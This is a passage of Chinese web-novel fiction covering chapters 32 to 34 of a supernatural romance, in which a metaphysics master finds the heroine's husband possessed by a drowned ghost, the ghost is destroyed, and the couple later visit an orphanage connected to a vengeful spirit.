黄若安把语调放轻放柔:“还需要有比较平稳的心理状态,才能一直理解支持他们,长时间接收他们的负面情绪,又不被他们的负面情绪影响自身,千澄……你已经很累了,不要勉强自己,适当将一些担子交给专业人士吧。人要先自救,再救人。” 颜千澄沉默。 黄若安也沉默了一会儿,轻声说:“你毕业后……虽说医不扣门,但我不止是医生,也是你的朋友。千澄,我一直都很担心你。” 三年多前,颜千澄跟她分享初恋的忐忑,两人促膝谈心,共同探讨爱情缘分那些古老的话题……好像是昨天刚发生的事似的。 但一切已彻底改变。 恍如隔世。 颜千澄移开视线,望向窗外远方。 黄若安语调恳切:“其实我一直在等你找我,但你一直没来……我知道,你很坚强,可是,把一切压力都积压在心里,会很难受的,让朋友帮你分担一点,好不好?要是你觉得我们太熟,有些话不好说,我可以帮你推荐一些信得过的同行……” 颜千澄回过头来,勉强笑笑:“不用了,就你吧。” “那约下周三的下午三点?”黄若安趁热打铁。 “好。”颜千澄应。 黄若安高兴得直拍大腿:“谢了!有富豪朋友照顾生意,我不愁这个月的KPI(关键绩效指标)了!” 颜千澄好笑:“你还愁KPI吗?应该是我感谢你给我面子,给我开了VIP通道吧。” 颜千澄有关注过,知道黄若安已在心理学界崭露头角,平日在知名三甲医院开诊,深受患者欢迎,好评如潮。她的号,提前一个月约,都不一定能约上。 两人笑闹一阵,黄若安去忙工作,颜千澄回到关景墨的病房。 关景墨昨夜杀她未遂,手脚又上了约束带,清早时他开始发高烧,现在还昏睡着。 颜千澄摸他额头,很烫,拿起挂在床边的体检记录一看,关景墨的体温一直是三十九度,没降下过。 颜千澄叹气,掏出手绢,帮他擦额头和头发上的汗水。 擦完后,颜千澄拉张椅子,坐在关景墨身边,发着呆。 茫然中,也不知道过了多久,颜千澄眼尾余光瞧见床头柜上,关景墨的手机屏幕突然亮起。 有人打电话给他。 关景墨位高权重,工作繁忙,平日电话不少。 除了公事,关景墨也有他自己的朋友,他自己的私事。 手机是私人物品,颜千澄认为,她跟关景墨,关系没亲近到那份上,不方便接他的电话。 之前,怕打扰关景墨休息,颜千澄把他手机调成静音。 有电话来,不接,让屏幕亮着。 对方见没人接,公事会找关景墨的助理卫蓝,卫蓝处理不了的,会找她这个董事长,耽误不了什么。 私事……关景墨现在这样,也处理不了私事。 如果真有紧急的私事,联系不上关景墨…… 关景墨跟他们关家的人,原本就不亲近。他堂弟下药,暗算她后,关景墨更是跟关家的亲属彻底决裂了。 他的私事,到最后,大概也会找上她这个法律上的配偶吧。 虽然她也不清楚关景墨的私事,只能到时看着办。 现在这电话,颜千澄原本也不打算接的。 无意中看了亮起的屏幕一眼,却是全身一震,急急把关景墨的手机拿起来。 手机屏幕上,清清楚楚地显示着来电人的名字。 【喻君辞】 怎么会是他??? 颜千澄反复看了几遍,确认没看错,指尖微颤,点了接通。 “喂?景墨?”熟悉的声音传来。 真的是喻君辞! 颜千澄呆了好一会儿,才应:“是我。” 电话那头,喻君辞顿了顿,问:“千澄?” “嗯……”颜千澄忍不住问,“你跟关景墨……认识?” 关景墨跟她不一样,关家的人一个比一个平庸,整个关氏集团就靠他一个人撑着。 大学时,关景墨就很忙,本专业的课都常缺席,更没有精力旁听其它院系的课程了。 他怎会认识喻君辞的??? 喻君辞“嗯”了一声,说:“之前跟他见过几次。” 几次?不是一次两次? 颜千澄声音不自觉地提高,“是关景墨主动找你的?他跟你说了什么?” 喻君辞沉默片刻,没回答她的问题:“千澄,这是我跟景墨之间的事。” 他说话的语调,依旧轻缓柔和。 但清晰地表达了他的态度。 喻君辞脾气好,跟人相处时,很好说话,但他有着自己的边界。 当别人越界时,喻君辞就会这样,温柔而坚定地拒绝。 颜千澄意识到自己过分了。 喻君辞……并不是她的什么人,他跟谁认识,交情怎样,谈过什么……的确是不需要向她交代的。 颜千澄声音低下来,解释:“抱歉,我是……担心你……” 担心关景墨对喻君辞不利。 颜千澄的父母,关系极其糟糕。 颜千澄曾听过传言,说父亲有个红颜知己,被母亲害了。 她害怕同样的事,发生在喻君辞身上。 她跟喻君辞,未曾真正在一起过,相处的时间很少很少。 她对喻君辞的爱慕,只告诉过祖母和黄若安两个人。 前段时间,喻君辞来剧组,因为是久别重逢,她没忍住流露出几分情绪,但很快就克制住了,估计只有紧跟在她身边的桑椹会注意到。 颜千澄本以为,没多少人知道她跟喻君辞的事。 本以为喻君辞很安全。 可是…… 关景墨居然知道喻君辞??? 关景墨对她一往情深,昨天不顾生死地救她,现在正生着病,她这样怀疑关景墨,是不好。 但在颜千澄心里,喻君辞太重要了。 她是放弃了跟喻君辞之间的爱情,但放弃,不代表他不重要。 在颜千澄心目中,喻君辞的地位,仅次于相依为命多年的祖母。 可以说,这世上,所有异性加起来,都没有喻君辞一个人重要。 喻君辞要是出了什么事…… 颜千澄不敢想。 而且,关景墨对她好,对别的人不一定好。 下药事件后,颜千澄无法再信任关景墨的人品。 她推想不出,关景墨在想什么,会做什么事。 关景墨越爱她,对她越好,她就越担心,关景墨会像母亲一样,使手段伤害她倾心爱恋的人…… 喻君辞聪明敏锐,颜千澄一两个反应,寥寥几个字,他就明白了她的想法。 喻君辞很惊讶:“千澄,你是不是把景墨想得太……” 喻君辞不愿别人侵犯他的边界,他自己也一直注意着,不冒犯别人的私人领域。 别人夫妻间的事,他一点也不想插手。 可……那是千澄…… 从过去,到现在,到将来,他一直都希望,她能过得好。 喻君辞斟酌着说:“我觉得,景墨这人,是有复杂的一面,社会对Omega诸多限制,他要待在现在这位置,不得不这样。但他内心其实极单纯。或许是……他曾得到的关爱太少,别人稍微对他好一点,他就恨不得十倍百倍地回报……” 喻君辞跟关景墨初次见面,是关景墨找到他,希望他不要阻挠跟千澄的婚事。 喻君辞想,千澄是曾经向他表露过好感,当时两人是师生,他觉得不合适,已经明确拒绝了。 千澄毕业后,他没再当她是自己的学生了,但千澄一直很忙,他只在网上看过她的消息,没再跟她见过面。 喻君辞认为,他跟千澄这样的关系,并没有立场和资格,去过问她的婚事。 他跟关景墨说了自己的想法。 但他感觉,关景墨自认为欠了他一个极大的恩情。 之后,关景墨又找了他两次。 告诉他有什么新进展新发现,跟他一起猜测怨灵的想法,讨论对付怨灵的计划。 还明里暗里问他有没有什么需求,有没有什么事,能让他关景墨帮上忙的。 喻君辞很担心颜千澄,也想知道怨灵的动向,就没拒绝关景墨的接近。 他心里清楚,关景墨的目的并不单纯。 或许是要稳住自己,不希望自己在现阶段跟千澄有进一步的发展,妨碍他对付怨灵。 但关景墨眼里浓浓的负罪感是真的。 关景墨对他的感激,以及想方设法要报答他的心,也是真的。 面对一个恨不得肝脑涂地回报自己的人,怎能不心软。 “我很确定,景墨对我没有恶意,”喻君辞轻叹,“对你更没有,千澄,你……或许可以试着,给他多点信任……” 颜千澄沉默。 喻君辞觉得,不方便再说下去了,就转个话题,提起他打这次电话的原因:“几天前,景墨约我今早见面,我已经等了半小时,他还没到,他一向挺守时的……” 颜千澄很想问喻君辞,关景墨为什么又找他,他又为什么会答应关景墨的邀约。 怕惹喻君辞不快,强行忍住,帮关景墨解释:“他生病了。” “生病了?很严重吗?”喻君辞关心。 颜千澄犹豫片刻,将这两天的事告诉喻君辞。 喻君辞静静听完,问:“有请人看看吗?” “有的,”颜千澄回答,“我有个心理医生朋友,说他可能是双重人格。” 喻君辞顿了顿:“我的意思是,请懂玄学的人看看。” 颜千澄惊讶:“玄学?你……已经是副教授了吧,信这个?” “我一直都信,”喻君辞叹息,“千澄,世界很广阔,人类自诞生以来,对这个世界的探索与认知,不过冰山一角而已。而人类所掌握的知识,每过一百年,都至少有一半,会被证明是错的。过于相信现有的科学,也是一种迷信。保持敬畏之心,不要轻易否定跟自己的观念不同的东西,或许会更接近事物的真相。” 喻君辞的声音,的确是适合讲课的声音,一句一句徐徐道来,柔风轻拂一般。 第32章 颜千澄默默听着。 冷得不正常的湖水、湖底看不见挣不脱的缠绕、骤然涌上心头的无比强烈的伤痛绝望、下水救援的保安保镖奇怪的样子、关景墨拼命推向她的平安结。 平安结在水流里旋转时,她突然感受到的……被爱的感觉、瞬间驱散周身寒冷的温暖、割断无形缠绕的力量、以及……几个模模糊糊看不清楚,却让她充斥着怨气戾气的心,一下子变得酸酸甜甜的画面。 关景墨身上突然出现的,黄若安也摸不着头绪的“新人格”…… 一直没时间细想的一桩桩一件件,沿着喻君辞提供的思路,猜测推演…… 的确,挺合逻辑? ……玄学跟逻辑,有关系吗? 颜千澄唯物了很多年,一时有点混乱,想着不能晾喻君辞太久,赶紧找个话题:“我在湖里时,好像听到有个声音问我,人生有什么意义,有什么意思?” 喻君辞问:“你自己,有什么想法?” 颜千澄想了想:“小时候,我父母不爱我,但我有祖母的爱。长大后……” 没跟喻君辞在一起,甚至不知道,他心里到底爱不爱她。 但…… 爱上喻君辞,等他三年,她从没后悔过。 知道喻君辞活得好好的,她纵有酸楚,也是开心的。 能像现在这样聊聊天,也很好。 在她的生命里,这份感情,这段经历,弥足珍贵。 颜千澄咬牙守着边界,藏下那些不适合对喻君辞说的话,继续思索:“一路走来,有很多人关心我,待我好。” “就算在最缺爱,最绝望的时候,总有晴天。” “我记得,小时候有一天,父母又吵架,我心里特别难过,自己一个人跑出去。那天天气很好,我站在蓝天下,暖暖的阳光照在脸上时,有种……蒙神眷顾的感觉。” “这点点滴滴的美好,让我觉得,人生就算有遗憾与痛苦,也是有意义和有意思的。” 喻君辞赞同:“嗯,我也是这样想的。我还觉得,思考与追寻人生意义的过程,本身就有意义,有意思。” 两人静默片刻,听着手机里对方轻柔的呼吸声,不知不觉唇角微扬。 “景墨认识那方面的人,他筛选过的人,应该可信。”喻君辞最后说。 等他挂掉电话,颜千澄攥着手机,发了一会儿呆,然后,点进关景墨的通讯录。 关景墨带来看过颜氏祖宅的玄学大师,好像是叫姚甜甜? 颜千澄搜索出这个名字,打电话给她。 姚甜甜很快接了,元气满满的声音传来:“老板!” 老板? 颜千澄惊讶。 不是关先生,关总,关老板。 这不带姓氏的尊称,像长期的专属的雇佣关系,不是一次两次的临时合作。 正事要紧,颜千澄先回应姚甜甜:“你好,我是颜千澄。” “澄澄?”姚甜甜大喊。 爱豆啊!!! 啊啊啊啊啊!!! 今天是什么好日子?爱豆居然亲自打电话给她!!! 咦,等等。 颜千澄跟关景墨,是相处起来尬得让旁观者脚趾扣地的塑料夫妻。 绝对没亲近到能随便用对方手机的程度。 现在,颜千澄居然用关景墨的手机,打电话给她……* 瞬间,一个可怕的念头划过姚甜甜脑海。 她颤声问:“老板是不是……是不是已经……” “已经什么?”颜千澄问。 怎么姚甜甜这语气,好像早就知道关景墨会出事? 姚甜甜深呼吸,小小声问:“是不是已经……死了?” 不会已经被怨灵杀了吧? 老板不是说,他估计怨灵近期不会动手的吗? 姚甜甜曾卜算过老板的命运。 算不出来。 第一次算,算出的结果是,关景墨一生孤独但长寿。 这结果显然不对。关景墨已婚,在命理上,有过姻缘,可以说他姻缘不顺或半生孤独,不算一生孤独了。 第二次算,一枚硬币掉到地上,滚了老远。 第三次算,已经很小心了,硬币还是掉了一地。 姚甜甜猜测,上天是要她别算了。 姚甜甜是吃玄学这口饭的,不敢违抗天意,之后再也没算过。 真不知道,对上怨灵,关景墨能不能活到最后。 颜千澄沉默片刻,告诉姚甜甜:“他暂时没有生命危险,就是……病得很古怪。” 姚甜甜长舒一口气,差点吓死她了。 人还活着,就好。 颜千澄讲述这两天的事情,还有关景墨的奇怪表现。 姚甜甜皱眉:“听起来很像……我要亲眼看看他,才能确认,现在我在国外,得先订个机票……” “我派专机去接你吧。”颜千澄说。 关景墨这状况,可耽搁不起。 姚甜甜:“……” 壕—— 姚甜甜用最快速度赶到医院。 关景墨还在发高烧,被约束带绑着,一时清醒一时昏睡。 一时拼命挣扎,用污言秽语咒骂颜千澄,想弄死她;一时眼眸含泪,哀哀凄凄望着颜千澄,求颜千澄快杀了他。 颜千澄头都大了,看到姚甜甜,赶紧让她过来。 姚甜甜一脸严肃,细细打量关景墨,掰开他的眼皮看。 关景墨被姚甜甜弄醒,很生气,嘴巴一张,又开始骂骂咧咧。 这几天,他骂颜千澄骂习惯了,也不理会姚甜甜,就盯着颜千澄骂。 颜千澄皱紧眉头,等关景墨骂了两句,让姚甜甜听清他的音调,就掏手绢塞他嘴里。 嘴巴被塞,关景墨像只困兽似的,“呜呜呜”“唔唔唔”吼,直勾勾盯着颜千澄,眼眸里全是浓得化不开的怨戾。 姚甜甜再看关景墨几眼,然后,小心翼翼望向窗外半空处。 它们……好像不一样了。 怨灵锁定颜千澄,原本经常待在她身后几步的地方。 现在,它拉远了跟她的距离。 应该……是好事? 人鬼殊途。 阿飘煞气重,若是跟人太接近,会压低人的运势。 可是,它为什么会突然改变? 小鬼一向跟着剧组的。关景墨调查过,小鬼的原主人,应该就是之前谋杀影后桑椹的那个男Alpha。 现在,小鬼也在这里,就飘在怨灵身边。 姚甜甜灵感强,能感觉到,小鬼的注意力在关景墨身上。 小鬼……在关心关景墨。 虽然不算强烈,但它,的的确确流露出几分对关景墨的善意。 她出国后到现在,短短一个月的时间,不知道老板是怎么将局面改善的。 以她的情商,根本就搞不定这几只飘,得赶紧让老板醒来。 姚甜甜收回视线,谨慎开口:“我想,老板是被鬼上身了。” 关景墨嘶吼声一停,怨毒狠戾的目光转向姚甜甜。 颜千澄瞥了关景墨一眼,问:“你是怎么判断的?” 姚甜甜解释:“老板遇险后,突然出现奇特的性格和口音,灵台……额头发黑,瞳孔扩散,还有……” 她指着关景墨湿漉漉的头发:“你说,老板的头发,每次弄干,很快又变湿,这明显不正常,应该是那个阿飘的特征,显现到他身上了。” “结合你们之前的经历,我猜,西山的湖里,应该有只溺死鬼。” “它原本是想抓你当替死鬼,杀掉你,让你代它受苦,它好去投胎的。后来,它发现老板是纯阴体质,就改变主意,上了他的身。” “老板的灵魂还在,一直跟它争夺身体控制权,他有时候是老板,有时候是溺死鬼,看上去就像双重人格。” 颜千澄静静听完,紧盯着关景墨,沉声问:“她说的对吗?” 关景墨受不了她的视线,转过头,“哼”一声,不说话。 “我当你默认。”颜千澄不再理他,问姚甜甜:“现在应该怎么办?” 姚甜甜想了想:“先礼后兵吧,我先跟它谈谈。” 颜千澄皱着眉头,从关景墨嘴里掏出手绢扔掉,走开几步,坐在椅子上。 姚甜甜上前,跟溺死鬼商量:“你要怎样,才肯离开?” 溺死鬼还是“哼”一声,不说话。 它怎么可能会离开? 好不容易,它终于可以重新做人了! 姚甜甜利诱:“我烧很多很多元宝纸钱给你?” 溺死鬼冷笑一声,满是嘲讽。 喝过孟婆汤,失去死亡记忆的人,才会把钱看得比命更重要。 姚甜甜威逼:“你看,你已经暴露了,手脚都被绑着,或许还会被送去精神病院,有啥意思呢?” 溺死鬼恨恨瞪着颜千澄。 颜千澄一言不发,脸上神色漠然,把谈判完全交给姚甜甜。 “你现在离开,就不用被送去精神病院绑着了,我还给你烧很多很多元宝纸钱……”姚甜甜威逼利诱一起来。 溺死鬼又“哼”一声。 就算没有自由,它也要待在人身里,活着! 能吃能喝能睡能呼吸,比什么都重要! 这样的日子,它年少无知时舍弃过一次,这次,它可不会再舍弃了! 姚甜甜劝了一大堆话,溺死鬼觉得烦,张嘴想骂,瞧一眼颜千澄扔进垃圾桶的手绢,想着那女Alpha知道它不是原来的男Omega后,对它态度冷淡很多,怕她拿脏手绢塞它嘴巴,就忍住没骂,闭上眼睛装睡。 姚甜甜没辙了。 惭愧,在商业奇才关景墨手下讨生活几个月,居然没学到多少谈判技巧。 姚甜甜看向颜千澄,想着她是大集团的董事长,应该也精于谈判吧。 颜千澄接收到姚甜甜的求助信号,开口:“礼完了,该出兵了。我们灭了这溺死鬼吧。” 溺死鬼猝然睁大眼睛,和姚甜甜一起,吃惊地看向颜千澄。 “灭……灭了它?真的?”姚甜甜结结巴巴。 颜千澄点头,一点犹豫都没,明显早已打定主意。 她不是不会谈判,是压根不想跟这溺死鬼谈判。 姚甜甜难以置信:“灭掉一只飘,它就魂飞魄散,什么都没了,连投胎的机会都没……我以为……澄澄你不愿这样做……” 颜千澄奇怪:“我为何不愿呢?它害过我,还正在害我的Omega,要不是看在你的面子上,我刚刚根本不会给它一条生路。现在是它不肯走这生路,那还有什么好说的呢?” 姚甜甜对着颜千澄梦幻般美丽的脸,“哦”“嗯”“啊”地应着,还有点茫然。 颜千澄瞅她一眼:“你是不是,把我想象得太善良了……我愿意对朋友好,对陌生人好,但我绝对不会对仇人好。以德报怨,何以报德呢?” 她一向是人不犯她,她不犯人,还会助人。 人若犯她,她一定会让那人后悔的。 如果是原来的关景墨,一定很早就知道,她就是这样的人。 溺死鬼忍不住了,破口大骂颜千澄。 颜千澄左右看看,想着这是关景墨的身体,就没从垃圾桶捡脏手绢,另外拿条新的塞它嘴巴里。 姚甜甜吞了吞口水。 嗯,澄澄说的也没错,对坏人……坏飘,是应该冷酷一点,不能一味心软。 澄澄这么美的人,肯定没错的。 姚甜甜皱眉,苦苦思索。 她知道溺死鬼怕“嚣”字。溺死鬼身上有羊臊味,如果人在江河湖海上闻到羊臊味,赶紧写一个“嚣”字,就可以避开它的纠缠(1)。 她知道阴物一般都畏惧鞭炮声、明火、阳光、中指血、朱砂、有机五谷豆子、杀猪刀、童子尿、公鸡、猫、桃木、柳枝、黄皮叶、艾叶等等,知道怎么驱赶怨气不重的飘。 可是……该怎么灭掉一只飘呢? 用朱砂童子尿中指血在老板身上写满“嚣”字? 将能辟邪的东西统统搬来? 以老板和他的Alpha的财力,是可以弄来很多辟邪物,堆满整个房间都不成问题,但好像太夸张了? 而且溺死鬼是厉飘,不是普通的飘,普通的辟邪物,对它们效果不大。 姚甜甜下意识望向窗外。 厉飘应该知道怎么灭厉飘吧。 怨灵还是悬浮在半空中,远远望着她们,不说话,也没动。 姚甜甜猜不到它在想什么。 小鬼犹豫着,偷瞄怨灵几眼,突然飘过来:“喂,你能听到我说话吧?” 姚甜甜赶紧应:“能的能的!” 颜千澄见姚甜甜突然望着窗外空气说话,看样子应该不是在对她说,就没插话,沉默等待。 小鬼双手抱胸,一脸傲娇:“溺死鬼上了岸,就不是我的对手了,我灭它轻轻松松,但现在它躲在关景墨灵台里,我跟它打,是用关景墨的身体做战场,打完后,关景墨不死也残。” 姚甜甜赶紧说:“那千万别,请您三思,三思!” “我已经四思五思了!”小鬼嘟起嘴,“谢凡说,溺死鬼之前被喻君辞的平安结伤了,关景墨加把劲,就可以自己打败它。” 姚甜甜迟疑:“可是,我听说溺死鬼出现的时间,比老板出现的时间还长,现在老板是被溺死鬼压制着啊,真能打败它吗?” 小鬼叹气:“那是因为关景墨求生欲不够!两个灵魂相争,是要靠气势的!我听心理医生跟千澄姐姐说‘死本能’‘自毁倾向’什么的,关景墨不想活,气势不够,才会被溺死鬼压制,你们提高他的求生欲,他就能打败溺死鬼了。” “那该怎么提高他的求生欲呢?”姚甜甜虚心请教。 小鬼嘻嘻笑,得意洋洋:“我问过谢凡,它没说。其实这事很简单呀,我自己也能想到。要让驴儿跑,就得在它眼前吊个胡萝卜,是不是?关景墨爱千澄姐姐爱得一塌糊涂,无奈不得千澄姐姐宠爱,婚后夜夜独守空房,空虚寂寞冷。你就让千澄姐姐做他的胡萝卜,拉着他的手,深情点跟他说,等他灭掉溺死鬼,就再睡他一次,这傻子兼疯批的求生欲一定会熊熊燃烧起来!” 第33章 姚甜甜:“……” 小鬼很得意,像个考了第一求表扬的孩子:“我这主意绝妙吧?” 姚甜甜不敢得罪它,赶紧捧场:“……绝妙……绝妙……顶呱呱……” 绝妙得她都脚趾抠地了。 苍天啊!大地啊! 她只是对玄学有兴趣,想做个玄学大师而已啊! 为什么努力了这么久,还不能挥一挥手震慑群飘,一两句话就劝得恶飘放下屠刀,反而要…… 一而再,再而三地,掺和进塑料夫妻的尴尬情.事里? 她对这类狗血婚恋关系一点兴趣都没有啊。 “你快把我绝妙的主意告诉千澄姐姐呀!”小鬼催了。 姚甜甜犹豫:“……我能不能问一下,他们……的时候,你们看不看的?” “每只鬼都有自己的性格和爱好,”见姚甜甜态度挺好,小鬼耐心解释,“谢凡假正经,它是不看的。千澄姐姐拍个吻戏,它都不看。我呢分情况,长得好看的,我就看,长得不好看的,我就不看。” 姚甜甜:“……” 澄澄肯定属于长得好看的啊。 姚甜甜想为可怜的老板争取点隐私权,转念一想,反正老板能看见飘,他到时候要是真不想被看,可以自己想办法。 论心眼,这小鬼不是老板的对手,她就别多事了。 见小鬼又要催了,姚甜甜赶紧转向颜千澄。 话未说出口,就噎住了。 对着这张特别好看的脸,怎么说得出那么猥琐的话啊啊啊! 好尴尬! “有话可以直说,没关系的。”颜千澄看出姚甜甜的犹豫,微微一笑,声音温柔亲切,眼含鼓励。 姚甜甜眼睛一闭,豁出去了:“溺死鬼离了水又受了伤老板其实可以自己灭了它但老板求生欲不够需要鼓励澄澄你可以跟他说等他灭了溺死鬼你就……” 一口气说到这里,卡壳了。 颜千澄表情凝滞:“……就?” 姚甜甜说不出口,给她一个“你懂的”的眼神。 颜千澄:“……” 尴尬的静默中,病床上的关景墨突然拼命挣扎,被塞住的嘴巴发出“呜呜呜”的声音。 小鬼、姚甜甜和颜千澄一起转头看关景墨,见他满脸通红,病号服没遮盖着的脖子锁骨手手脚脚都是通红的。 他拼命摇着头,眼眸含泪。 一副羞耻得想死的样子。 这个……不是溺死鬼,是原来的关景墨。 小鬼:“……” 姚甜甜:“……” 颜千澄:“……” 一时没想到,就算被溺死鬼压制,关景墨的灵魂还在他自己的身体里,是能听见的。 人的精神力量果然潜力无限,关景墨一害羞,就夺回了身体控制权。 极其尴尬的静默中,颜千澄站起身,走近几步,坐在关景墨身边。 关景墨想看她又不敢看,只觉得无地自容,眼泪掉下来,落在枕头里。 颜千澄叹气,伸出手,放在关景墨被绑着的手背上,放柔声音:“景墨……我们结婚几个月了,一直没时间好好相处……这样吧,等你好了,我们安排个时间,出去约会一天,地点你来定,好不好?” 关景墨全身一震。 学生时代,千澄一直叫他“景墨”。 那时候,他们不太熟,但勉强能算朋友。 下药事件后,千澄讨厌他,不愿理他。 不得已要跟他说话的时候,公务场合叫他“关总”,其它场合连名带姓地叫他。 关景墨已经很久很久,没听到千澄直接叫他名字了…… 她还说,要跟他约会一天…… …… 姚甜甜被突然响起的凄厉鬼啸吓了一跳,脑子震得嗡嗡响。 她双手抱头,看见关景墨身上红光一闪。 紧接着,红光碎裂成无数细小光点,飘扬散落。 “这就是魂飞魄散。”小鬼声调低下来。 姚甜甜心情复杂:“它刚刚怎么不听劝呢,听句劝,也不至于这样……” “它是活该!生前死后,明明一直有别的路给它走,它偏要一次又一次地走死路,最后落个魂飞魄散,怨得了谁?我和谢凡才是真的惨!我们都不想走死路,可从来没有人给别的路让我们走……”小鬼跺脚大发脾气,飘回怨灵身边。 姚甜甜望着远处身形虚幻看不清楚的小鬼和怨灵,恍惚想起姨婆临终时那声叹息—— 被附过身,关景墨很虚弱,昏睡了几天。 颜千澄找几位名医会诊,又请黄若安给关景墨做评估,确认他没事后,开了张巨额支票给姚甜甜,回剧组继续拍戏。 等关景墨能出院了,颜千澄去接他。 依照姚甜甜的建议,在颜氏祖宅门口大放鞭炮,还放了几个火盆让关景墨跨,说是去晦气。 关景墨乖乖照办。 他想起婚礼时,也有类似的仪式,那时候,震耳欲聋的鞭炮声中,颜千澄面无表情,视线无目的四处飘移,能不看他就不看。 现在…… 关景墨看见,颜千澄脸上还是没多少笑容,但表情千真万确柔和了很多。 像新婚夜那样,颜千澄一路送关景墨到他房间门口。 “景墨,”她又喊他的名字,凝目注视他,“好好休息,不用急着工作,身体要紧。” “是。”关景墨应。 他微微躬身,垂首屏息,像站在集团总部的董事长办公室,接受她指派的工作。 颜千澄微叹:“你想好去哪儿了吗?” 关景墨顿了顿,小心翼翼地确认:“你……你是指……约……约……” 声音越说越小。 “嗯,约会地点,已经一个星期了,你想好去哪儿了吗?”颜千澄再问。 “你……真的要跟我约……约……”关景墨努力了几次,还是说不出那个无比陌生的词汇。 颜千澄想叹气,又忍住:“我答应过的事,什么时候反悔过?” 关景墨想起,颜千澄的确是言出必行的。 他渐渐有了脚踏实地的真实感。 脸颊耳朵烧起来了,怕被颜千澄发现,关景墨低下头。 他想去……千澄想去哪,他就去哪,千澄开心,他就开心。 可是,他连话都说不好,会不会闷着她? ……哦,他想多了。 千澄根本就不想跟他去约会的,只是答应了他,不好反悔。 因为他太没用,没能一开始就灭掉溺死鬼。 她又不愿……睡他,才说要跟他约会。 所谓的约会,只是一个鼓励和奖赏而已,就像他完成一个成功的商业项目,她给他派奖金一样。 …… 哦,刚好,有件很重要的事。 关景墨抬起头,小声说:“我……有个地方,想跟你一起去……” “哪里?”颜千澄耐心问。 关景墨侧头,望了飘在远处的怨灵一眼,犹豫着说:“能不能……到时候再跟你说?你后天有空吗?” 颜千澄不明白关景墨为什么要保密,但关景墨想去哪,就去哪吧,她是无所谓的,就点了头:“我跟导演请个假。” 两人商量好,颜千澄转身回她的房间。 关景墨目送她。 颜千澄走了几步,突然回头,微微一笑:“对了,忘了跟你说,景墨,这次的事……谢谢你。” 关景墨愣住,心湖寂静片刻,紧接着,猛然掀起滔天巨浪。 他帮了她的忙,她跟他说谢谢…… 他曾幻想过无数遍的场景,竟成现实。 宛如梦幻—— 清晨,市郊。 天气晴朗,阳光明媚,是约会的好天气。 从关景墨那辆按最高标准定制,坚固堪比堡垒的防弹车里出来,颜千澄脸色很古怪。 她的确无所谓去哪里。 电影院、高级餐厅、私人海岛、豪华游艇、著名景点、游乐场……适合约会的地方有很多很多,关景墨随便挑一个就成,她既然答应了,一定会好好配合。 可是…… 为什么关景墨会带她来这里? 颜千澄望着墙上残旧剥落的“爱心福利院”几个大字,实在不知道该摆出什么表情。 她也同情福利院的孩子,从小到大,捐赠财物无数次。 但今天,说好了是去约会的。 很明显,这根本就不是一个适合约会的地点。 颜千澄转头,想问问想出这奇特主意的家伙。 关景墨刚打完电话,正指挥几个颜氏集团的员工,把一箱箱东西从货车上搬下来。 出发的时候,颜千澄以为是关景墨的行李,觉得就出去约会一天,用货车运行李有点夸张。 现在才知道,那些都是爱心捐赠物资。 准备挺周全的。 颜千澄明白了,关景墨是认真的,不是开玩笑。 爱心福利院大门口铁闸打开,一行人走出来,看样子是福利院的工作人员。 关景墨回到颜千澄身边,双手将捐赠物资清单交给她,小声提示:“颜董,中间为首那位,是福利院的院长。” 他用上了公务场合的正式称呼。 颜千澄:“……” 所以今天的行程,真的是颜氏集团董事长和总裁慰问福利院。 是集团的工作。 好吧。 颜千澄扫一眼清单,迅速进入角色,微笑着跟福利院院长握手寒暄,跟着她走进福利院。 关景墨以下属的身份,陪在颜千澄身边。 虽然,身为下属,是不应该这样自作主张,临时安排工作给上司的。 但,这是最好的办法。 关景墨暗暗咬牙,忍受着刺骨的冰寒冷意。 他一直小心地隐瞒他的目的。 直到车子停在爱心福利院的门口,他的目的遮掩不住了。 那一刻,关景墨感受到排山倒海的怒意。 怨灵,很生气。 因为他暗中调查它,查到它的底细。 因为它不知道他想干什么,不愿他毁坏这个它长大的地方。 也因为……他带千澄来到这里,在它在意的人面前揭开它的伤疤。 …… 他冒犯怨灵了,怨灵现在想杀他。 沉重的煞气压下,关景墨艰难呼吸着,心脏一阵阵紧缩。 做这个决定前,关景墨推演过无数遍怨灵的反应。 要确保的前提,是怨灵不会伤害千澄。 关景墨推演无数遍的结论是,百分之一百不会。 因为,这怨灵挺讲理的。 除非是涉及到它的父母,仇怨难解。 别的事,它不会随意迁怒。 调查它底细的人是他关景墨,做谋划的人是他关景墨。 他一直刻意瞒着千澄,千澄什么都不知道,不知者不罪。 怨灵要出气,只会找他关景墨。 也因为…… 这几天,关景墨从头到尾回忆分析之前的溺死鬼事件。 当时情况紧急,很多东西没时间细想。 等关景墨分析整理完毕,发现…… 怨灵比他想象中,更在乎千澄。 它不仅不愿杀千澄,千澄若是遇到危险,它甚至有可能出手救她。 关景墨估计,现在,有七成左右的几率,怨灵会放下仇恨,放过千澄。 七成的几率,比一开始好很多了。 但对关景墨来说,颜千澄的性命至关重要,七成的几率,是不够的。 他要继续提高这个几率。 他想到几个办法。 第一个办法是,灭了怨灵。 溺死鬼事件中,小鬼明明不想千澄死,却阻拦怨灵救她。 从小鬼的态度,以及怨灵的犹豫,关景墨察觉到,怨灵的力量,并不是无穷无尽的。 很可能,就像姚甜甜猜想的,怨灵只能再杀一个人。 那,就由他代替千澄,做这个被杀的人吧。 他冒犯怨灵,激怒怨灵。 等怨灵忍不住杀掉他,力量耗尽,魂飞魄散,千澄就彻底安全了。 第二个办法是,继续加重千澄在怨灵心里的份量。 今天这行程,要让千澄不知者不罪,就没法跟她对台词,做排练。 千澄相当于是在毫无准备的情形下,做实况直播。 但关景墨相信,千澄一定可以表现得很好。 因为,她是颜千澄啊。 是他从小就敬仰爱慕的人。 关景墨望向远处半空。 小鬼不在,应该在剧组看拍戏。 怨灵孤零零地悬浮着,冷冷盯着他,一身杀气起起伏伏。 是会恨他,杀他,还是…… 更爱千澄? 关景墨觉得,值得一赌。 哪怕赌注是他的命。 第34章 颜千澄果然表现得很好。 言谈举止风度翩翩,既有大集团董事长的大方得体,又平易近人,很快就赢得福利院院长的好感。 随行陪同的几个福利院工作人员,更是喜欢她喜欢得不得了。 有个年轻姑娘犹豫着掏出签名本,眼睛亮亮看着颜千澄,想要签名。颜千澄爽快给了To签。 一行人先随福利院院长来到展示室,看孩子们的画作、剪纸、手编项链…… 关景墨觉得这些东西挺普通的,颜千澄却连连夸赞,说这个孩子笔触充满灵气,如果以后成为画家,颜氏集团可以帮他筹办画展,那个孩子写的文章重点突出文笔优美,长大后可以进颜氏集团公关部。孩子们比她想象中更有潜力,很了不起。 关景墨深知,颜千澄出身豪门,自身也十分优秀,向来是有几分矜贵的。 